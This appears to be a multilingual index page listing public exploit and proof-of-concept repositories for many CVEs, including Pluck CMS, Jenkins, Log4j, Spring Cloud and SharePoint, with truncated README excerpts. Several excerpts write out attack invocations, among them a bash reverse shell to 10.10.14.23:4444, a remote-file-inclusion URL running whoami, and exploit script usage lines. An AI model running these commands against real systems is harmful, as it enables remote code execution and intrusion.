CVE-2020-29607

CVE-2020-29607-Exploit Название эксплойта: Pluck CMS 4.7.13 - File Upload Remote Code Execution Authenticated Описание CVE: Уязвимость обхода ограничений загрузки файлов в Pluck CMS до версии 4.7.13 позволяет пользователю с правами администратора получить доступ к хосту через функциональность...

Cve-2024-38063

CVE-2024-38063 Description Ce dépôt contient des détails et un code d'exploit potentiel pour CVE-2024-38063, une vulnérabilité critique d'exécution de code à distance RCE dans la pile TCP/IP de Windows. La vulnérabilité permet à un attaquant non authentifié d'exécuter du code arbitraire sur le...

CVE-2024-47533

Обратная оболочка python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Простая команда python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Добавление SSH-ключа python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

cve-2022-22963

Spring Cloud Function SpEL - cve-2022-22963 Сборка $ git clone https://github.com/twseptian/cve-2022-22963.git $ cd cve-2022-22963 $ docker build . -t spring-spel-0day $ docker run -p 8080:8080 --name spring-spel-0day spring-spel-0day Полезная нагрузка...

cve-2024-32002-poc-rce

CVE-2024-32002 RCE POC POC для CVE-2024-32002, демонстрирующий удалённое выполнение кода RCE. См. cve-2024-32002-poc-rce для связанного репозитория подмодуля. Что содержит этот репозиторий Символическая ссылка с произвольным именем, указывающая на каталог .git. Файл .gitmodules, определяющий...

MDaemon-Advisories

Уведомления безопасности MDaemon MDaemon Advisories: CVE-2021-27180 Отраженный XSS CVE-2021-27181 Фиксация CSRF-токена CVE-2021-27182 Внедрение iframe CVE-2021-27183 Удаленное выполнение кода Эти уязвимости уже были исправлены в январе 2021 года и опубликованы для целей CVE. Их можно объединить д...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - WordpressプラグインCanto を記述すると、リモートでコードを実行できます。 http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wpabspath=http://192.168.1.33:8080&cmd=whoami...

ZimbraExploit

ZimbraExploit K8Cscan invoque la vulnérabilité d'exécution de code à distance Zimbra8.8.11 GetShell https://www.cnblogs.com/k8gege/p/10822908.html CVE-2019-9621 Zimbra8.8.11 Exploit XXE GetShell...

CVE-2025-25257-Exploit-Tool

Инструмент эксплуатации CVE-2025-25257 Авторы Based on watchTowr Labs, 0xbigshaq, and pwner.gg analyses. Предупреждения For educational purposes only. Use on authorized systems. Modifies database/filesystem. Расширенный инструмент на Python для обнаружения и эксплуатации CVE-2025-25257 Pre-Auth...

cve-2026-26114-poc

CVE-2026-26114 Используйте только в лаборатории или в системах, где разрешено тестирование. Python PoC pip install requests requests-ntlm python poc/cve202626114rce.py ^ --target http://sharepoint.local ^ --username spuser1 ^ --password "Password123!" ^ --domain SP19 ^ --cmd "cmd /c whoami...

CVE-2023-4542

poc La passerelle d'audit comportemental en ligne D-LINK-DAR-8000-10 présente des vulnérabilités d'exécution de code à distance RCE. site officiel : http://www.dlink.com.cn/ version : D-LINK DAR-8000-10 Voir la page de connexion. Construire l'URL :...

CVE-2024-23897

CVE-2024-23897 Авторизованное чтение произвольных файлов через CLI в Jenkins CI приводит к удалённому выполнению кода RCE Jenkins — это самодостаточное программное обеспечение DevOps с открытым исходным кодом для автоматизации непрерывной интеграции, непрерывной доставки и развёртывания CI/CD,...

CVE-2025-24016-Wazuh-Remote-Code-Execution-RCE-PoC

🚨 Удаленное выполнение кода в Wazuh RCE — PoC 📌 Сводка об уязвимости В сервере Wazuh обнаружена критическая уязвимость RCE, вызванная небезопасной десериализацией в пакете wazuh-manager. Эта ошибка затрагивает версии Wazuh ≥ 4.4.0 и исправлена в версии 4.9.1. 🔍 Подробности Проблема заключается в...

cve-2022-22947

cve-2022-22947 Spring Cloud Gateway — это API-шлюз в Spring. В версиях 3.1.0 и 3.0.6 включительно и ранее существует уязвимость внедрения SpEL-выражений, которая позволяет злоумышленнику выполнять произвольные команды при наличии доступа к Actuator API. Использование: ➜ ./cve-2022-22947 -h Usage ...

CVE-2016-2098

CVE-2016-2098 Action Pack dans Ruby on Rails avant 3.2.22.2, les versions 4.x avant 4.1.14.2, et 4.2.x avant 4.2.5.2 permet à des attaquants distants d'exécuter du code Ruby arbitraire en exploitant l'utilisation illimitée de la méthode render par une application...

cve-2019-5420-POC

Exploit ActiveSupport de Rails CVE-2019-5420 POC à considérer pour enchaîner avec CVE-2019-5418 ! Se marie bien avec CVE-2019-5418 ! POC Screenshot 🚨 Avertissement Ce dépôt contient un exploit de preuve de concept PoC démontrant l'exécution de code à distance RCE dans des applications Ruby on Rai...

python-log4rce

Python Log4RCE Полноценный PoC на чистом Python3 для CVE-2021-44228. Пример python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=" INFO:HTTP:Running on local port 1337 INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.clas...

CVE-2025-55182

Détecteur de vulnérabilité RCE RSC/Next.js et extension Chrome PoC CVE-2025-55182 & CVE-2025-66478 Ce dépôt contient une boîte à outils de recherche en sécurité conçue pour détecter et démontrer PoC les vulnérabilités RCE récemment divulguées affectant React Server Components RSC / Next.js. La...

CVE-2023-4220-RCE

CVE-2023-4220-RCE Краткое описание Уведомление Starlabs Затронутый продукт: Chamilo , -p --port REMOTE PORT -c --comand Флаги для обратной оболочки -lh/--localhost: IP атакующего -lp/--localtcat порт слушателя...

CVE-Requests-1896609

CVE 요청 1896609 - feiskyer/mcp-kubernetes-server 요약 이 보고서는 feiskyer/mcp-kubernetes-server 패키지에서 발견된 두 가지 심각한 보안 취약점에 대해 자세히 설명합니다. 배포 시 서버는 Kubernetes 클러스터에 대한 제한적이고 안전한 접근을 제공하기 위한 MCP 도구인 kubectl을 노출합니다. 그러나 불충분한 입력 검증으로 인해 두 가지 별개의 공격 벡터가 발생합니다. OS 명령 주입: 공격자는 셸 메타문자예: ,, ;를 사용하여 명령을 연결함으로써 명령...